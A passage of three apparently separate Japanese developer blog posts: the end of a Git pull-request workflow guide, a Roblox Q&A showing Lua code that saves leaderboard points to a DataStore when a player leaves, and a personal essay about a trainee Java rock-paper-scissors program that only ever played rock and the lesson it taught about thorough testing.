        プルリクエストが他の開発者によってレビューされ、変更が必要であれば修正を行います。必要に応じてコミットとプッシュを繰り返して変更を更新していきます。
        
    4. プルリクエストのマージ
        
        プルリクエストがレビューを通過し、準備が整ったら、プルリクエストをマージします。これにより、作業ブランチの変更がベースブランチに統合されます。
        
        プルによって、リモートリポジトリに加えられた変更がローカルリポジトリに取り込まれます。
        
        `git checkout ベースブランチ(mainやmaster)`
        
        `git pull origin ベースブランチ(mainやmaster)`
        
        ※`origin`は、リモートリポジトリのデフォルトの名前です
        
6. ローカルブランチの削除
    
    プルリクエストがマージされたら、ローカルの作業ブランチを削除します。
    
    `git branch -d 作業ブランチ`
robloxでassistant その15

# 概要
robloxでassistantやってみた。

# 質問
プレイヤーがゲームから出ようとしているときにリーダーボードのデータを読み、保存する方法を教えて


# 回答

プレイヤーがゲームから出るときにリーダーボードのデータを読み込み、保存するには、データストアという高度なコーディング概念を使用する必要があります。
データストアは、プレイヤーのデータをセッション間で保存するための方法です。

以下は、データストアを使用してリーダーボードのデータを読み込み、保存するための基本的な手順です。

プレイヤーがゲームから出るときに、データを保存するための関数を作成します。この関数は、プレイヤーのデータをデータストアに保存するためのものです。
```
local function savePlayerData(player)
  -- プレイヤーのデータを保存するコードをここに追加します
end
```
プレイヤーがゲームから出るときに、上記で作成した関数を呼び出します。これにより、プレイヤーのデータが保存されます。
```
game.Players.PlayerRemoving:Connect(savePlayerData)
```
プレイヤーのデータを保存するために、データストアを使用します。データストアは、プレイヤーごとに一意のキーを使用してデータを保存します。
```
local DataStoreService = game:GetService("DataStoreService")
local playerDataStore = DataStoreService:GetDataStore("PlayerData")

local function savePlayerData(player)
  -- プレイヤーのデータをデータストアに保存するコードをここに追加します
  local success, error = pcall(function()
    playerDataStore:SetAsync(player.UserId, player.leaderstats.Points.Value)
  end)
  if not success then
    print("データの保存中にエラーが発生しました: " .. error)
  end
end
```
上記のコードでは、プレイヤーのデータストアを取得し、プレイヤーのポイントをデータストアに保存しています。
エラーハンドリングも追加して、データの保存中にエラーが発生した場合にログにエラーメッセージを表示します。

これで、プレイヤーがゲームから出るときにリーダーボードのデータが保存されます。
プレイヤーが次回ゲームに参加するときには、データストアからデータを読み込んでリーダーボードに表示することができます。

なお、データストアの使用方法は非常に高度なものであり、詳細な理解と実装が必要です。
Robloxの公式ドキュメントやチュートリアルを参考にしながら、データストアの使用方法を学習してください。


以上。
【しくじり】新人、○○不足で最弱Javaプログラムを作成する

## はじめに
エンジニア歴約5年程なのですが、心配性な性格のおかげ（？）で過去やらかした記憶があまりありません。
※もしかしたら記憶から抹消しただけかもしれない。

そんな私が唯一記憶に残っている、若干やらかしエピソードを記事に残そうと思います。
誰でも失敗は経験してるんだよ〜ということで、特に新人の方に読んでいただけたら嬉しいです。

:::note warn
実際のJavaコードはありませんので、予めご了承ください。
:::

## ○○不足でへなちょこプログラムを作成した
### - 新入社員研修まで遡る
かれこれ約6年前、新卒で入ったIT企業の新入社員研修のときです。
文系出身で情報系の知識はまっさらの状態でしたが、未知の世界にどっぷりハマり研修も楽しく過ごせました:relaxed:

特に研修最終段階で実施した、Javaのじゃんけんプログラム作成はボリュームが多かった分、有意義な時間でした。

研修外の時間は稼働をつけられませんでしたが、なんとしてでも良いプログラムを作りたい一心で、当時フォロー役として新人と一緒に研修に参加してくれた先輩のお力添えをいただきながら、研修後も必死にコーディングしました。

プログラムが完成したときは本当に嬉しかったですし、達成感に溢れていました。
長時間かけて真剣に取り組んだからこそ、普段自分に自信がない私でも「周りの誰よりも良いプログラムを作った！」と少しでも思えたくらいです。

しかし、プログラム作成発表の際に、やらかしは起きました。

### - 「これ、✕✕じゃない？」
Javaのじゃんけんプログラム作成発表当日も、担当講師の方々から以下お言葉をいただきました。

「あなたのプログラム、本当にきれいなコード書くね。」
「ここまで読み手を考慮したコード、なかなか書けないよ。」

最後まで粘って良かったと思いましたし、このようなコメントをいただけると思ってなかったのでぶわっと気持ちが溢れたのを今でも覚えています。

ですがこの後、追加で以下のお言葉をいただきました。

「でもこれ、グー:fist_tone1:しか出さなくない？」

なんだって。。？？と固まりました。
そんなはずはないと思いましたが、実際に動かした際に本当にプログラム側が":fist_tone1:"しか出さなかったのです。
なので、<font color="Red">**人間（プログラムを動かす側）がパーを出し続ければ全勝するじゃんけん最弱プログラムを作っていた**</font>ということになります。

「プログラム作成発表の際に、やらかしは起きた。」と先述しましたが、作成段階ですでに起きていました。
それに気づかなかっただけです。

### - 原因はなに？
なぜこのようなことが起きてしまったのか？
当時、必死に振り返りました。

**「何度もコードを読み返したのに気づけなかった。」**
**「修正しては動かす、を細切れに繰り返したのに。」**

すぐには原因究明できなかったのですが、ふとあることをやっていないことに気づきました。

<font color="Red">**「あ、全パターンの検証やってなかったかも。。」**</font>

完全に私の落ち度です。
3×3パターンきちんと出るか確認するなり、せめて":fist_tone1:"、":v_tone1:"、":hand_splayed_tone1:"をランダムで投入するなり、最終確認を怠っていなければ気づけた点でしたね。
"<font color="Red">**検証不足**</font>"だったのが、当時のやらかしの根源でした。

### - 原因がわかって最初に思ったこと
「本番環境じゃなくてよかった。。」

素直にこう思いました。
反省の意ももちろんありましたが、大事にならない環境だったことがとにかく救いでほっと一安心でした。

研修だったので"若干"やらかしエピソードとしましたが、現場での本番環境だったらどうでしょうか？
かなり深刻なバグとして捉えられていたと思います。

担当講師の方にご指摘を受けたときはむしろ笑いに包まれて和やかな雰囲気でしたが、お客様に提供するプログラムだったらと想像すると、ぞっとします。
当時の担当講師の方々と同期、笑いに変えてくれて謝謝:pray_tone1:

### - 経験から学んだこと
これはもう、皆さんおわかりだと思います。

"<font color="Red">**検証の網羅性を確保し、手を抜いてはいけない！！！**</font>"

この経験をしたことで現場に出てから、とりあえず触ってみることから始まり、網羅性のある検証を心掛けるようになりました。
※とりあえず触ってみる（モンキーテスト）、は意外と不具合が見つかるのでおすすめ。

検証って地味な作業と思われがちですが、ここで新たな発見をすることも多いので侮れない工程です。
要件定義や開発も好きですが、私は検証も好きです！

## 最後に
今回は、Javaの最弱じゃんけんプログラムを作成したお話をさせていただきました。
新人の方は研修期間中に失敗と成功を繰り返して経験を積んでいただき、若手以上の方は初心の気持ちを忘れずエンジニアライフを楽しみましょう！

最後までお読みいただき、ありがとうございました:beginner: